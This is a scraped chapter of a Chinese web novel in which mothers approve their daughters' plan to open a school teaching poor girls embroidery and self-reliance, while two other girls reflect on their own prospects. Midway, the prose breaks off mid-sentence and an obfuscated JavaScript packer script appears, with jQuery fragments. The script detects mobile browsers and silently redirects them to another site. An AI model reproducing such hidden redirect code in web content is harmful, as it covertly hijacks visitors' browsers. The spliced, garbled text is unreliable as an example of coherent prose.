第285章 懂得自立自强

作品:《逆子,开门!你娘回来整顿家风了

    沈朝昭毫不犹豫地说道:“母亲,我们知道这不容易,可如果不去尝试、不去做,那些妇人和孩子可能一辈子就那样了。”


    随着她见得越多,就越发觉得天下女子可怜。


    若是不做些什么,总觉得内心难安。


    陈锦书温婉的眸光中同样坚定,“南姨,我们明白前路或许艰难,但总要有人迈出第一步,我与朝昭愿意做这件事的先行者。”


    在一开始沈朝昭提出在慈幼堂建学堂教那些孤女技艺时,陈锦书只觉得那些孤女可怜。


    可一步步走到现在,饱读诗书的她已经深深明白,这不仅只是一项慈善之举,若是做得好了,更是一种对现在女子地位和生活的改变。


    想到这里,她又接着道:“而且在回来的路上,我和朝昭已经商量过了,先从小范围开始,挑选一些真心想学、家境又实在贫寒的女子,教她们刺绣、缝纫这些相对容易上手的技艺。等有了成效,再慢慢扩大规模。”


    沈朝昭也跟着道:“母亲和宛清姨请放心,至于师傅,我们想好了,就让慈幼堂已经学成的孤女出来担任。资金也用她们的绣品所卖的盈利来支撑,这样一来,既能帮助那些孤女自立,又能为更多女子提供学习机会。”


    孟南枝听罢,目光中透出几分赞许。


    但此事总归不是她一人做主,尤其是涉及到陈锦书,她便将眸光看向曹宛清。


    曹宛清心中欣慰女儿的成长,面上却是严肃道:“你们可知道这世间的事,从来不是光靠计划就能顺利进行的。尤其是女子学堂,在如今的世道下,难免会引来非议和阻力。你们可想好了应对之策?”


    陈锦书道:“母亲,我知道可能会有人反对,甚至嘲笑我们。但只要我们坚持做好事,总会有人理解和支持我们的。”


    沈朝昭却是杏眼晶亮地笑道:“有宛清姨在背后为我们撑腰,我相信我们一定能挺过去。”


    曹宛清听到这里,忍不住笑着骂了一句:“你这丫头,倒是会借势。”


    不过她倒也没特意为难她们,同孟南枝点了点头,道:“既然你们已经考虑清楚,我们做长辈的自然支持。不过在京都开女子学堂不是件小事儿,你们先列个章程出来给我们瞧瞧。”


    孟南枝也看着她们,尤其是自己的女儿沈朝昭,敲打道:“你们既然决定了,就要坚持到底,切莫半途而废。记住,这条路不会平坦,但只要你们齐心协力,总会有收获的一天。”


    陈锦书闻言与沈朝昭对视一眼,眸中皆露出欣喜。


    齐声道:“是,母亲。”


    孟枝看了眼一直安静听她们讲话的沈娇娇和陆妙妙,语气温和道:“你们今日跟着她们跑了半天,定是饿了,快吃点水果和点心垫垫肚子。”


    “多谢孟夫人。”


    沈娇娇和陆妙妙连福身应谢。


    几人一时吃着水果、点心,赏着花园里的景色,气氛渐渐轻松起来。


    沈娇娇忍不住开口问道:“孟夫人,您觉得女子学堂真的能改变些什么吗?”


    孟南枝闻言,想到巨幕中那位高堂之上侃侃而谈的女子,目光深远而笃定。


    “若只是教她们技艺,那不过是锦上添花;但若是能让她们明白自身价值,懂得自立自强,这才是真正的改变。”


    这话如同一颗石子投入湖中,在每个人心中激起层层涟漪。


    陈锦书放下手中的点心,温声道:“南姨,我其实一开始并没有想到这些。今日听了您这番话,受益匪浅。我觉得我们的学堂,哪怕只影响到一个人,也是值得的。”


    沈朝昭崇拜地看着母亲,眼中满是骄傲与敬佩。


    “母亲说得对,我们或许无法立刻改变所有人的想法,但只要能让一个女子明白自己可以独立生存、不必依附于人,那我们的努力就没有白费。”


    沈娇娇闻言,陷入沉思。


    祖母特地把她安置在沈朝昭身前,本是想借势为自己增加选夫婿的成本。


    以前,她也觉得寻个好夫婿是人生最重要的事。


    可今日听了孟南枝、沈朝昭和陈锦书的一番话,她心中竟生出些许不一样的念头。


    或许女子也可以有自己的追求,不必完全依附于夫家。


    而且从孟夫人的经历来看,身为女子,还是要自己有能力。


    当母亲的有能力,做孩子的也就有底气。


    不过好在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918031|185648||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她也不差,出身虽然不及沈朝昭和陈锦书,但她母亲和祖母一直都很护着她。


    想到这里,沈娇娇轻轻咬了咬唇,暗自思忖着自己是否也能像她们一样,走出一条属于自己的路。


    同样静听着的陆妙妙,眼中情绪倒是复杂难明。


    她是庶女出身,母亲身份低微又是妾室。


    在林婉柔和陆筝筝没有被陆老夫人赶出前,她与母亲一直活在林婉柔面柔心狠的阴影下。


    等林婉柔和陆筝筝被陆老夫人赶出府后,她虽然因为是父亲唯一的血脉而被记作嫡女,她母亲也水涨船高被扶正,但世家夫子和小姐对她母女俩的态度始终带着几分轻蔑。


    母亲性格软弱,不愿面对这些复杂的人际关系,总是选择不去参加宴会。


    而陆老夫人虽然在把她记作嫡女后,没少教她为人处世的道理,但却因为陆筝筝一事,自觉丢了脸面,很少外出。


    所以一直以来,陆妙妙的人际关系,就全靠她自己的摸索。


    不管是之前的茗央郡主,还是今日突然约她出来的沈娇娇。


    陆妙妙隐晦地明白,对方大概是想通过她达到某种目的。


    可此时听到沈朝昭和陈锦书谈论女子学堂的事,她心中涌起一阵难以言喻的波澜。


    沈朝昭,与茗央郡主不一样。


    孟南枝,与林婉柔更不一样。


    思到这里,她再次抬头悄悄地看了一眼孟南枝,眸中露出羡慕和钦佩。


    能把林婉柔和陆筝筝踩捏在脚底的人,值得她去学习。


    毕竟在她眼里,林婉柔和陆筝筝一直都两座无法跨越的高山。


    此刻陆妙妙第一次觉得,或许自己也可以找到一条不同的路。


    这条路不一定需要依附他人,也不一定需要活在过去的阴影里。


    她低头思索着,指尖无意识地摩挲着衣角。


    虽然她即没有沈朝昭和陈锦书那样的家世背景,也没有和沈娇娇一样护着她的母亲和外祖母。


    但至少,她有这些年在复杂环境中磨炼出的敏锐与坚韧。


    如果真能有一个机会,让女子不必再依附于他人而生存,那对她来说,未尝不是一个改变命运的契机。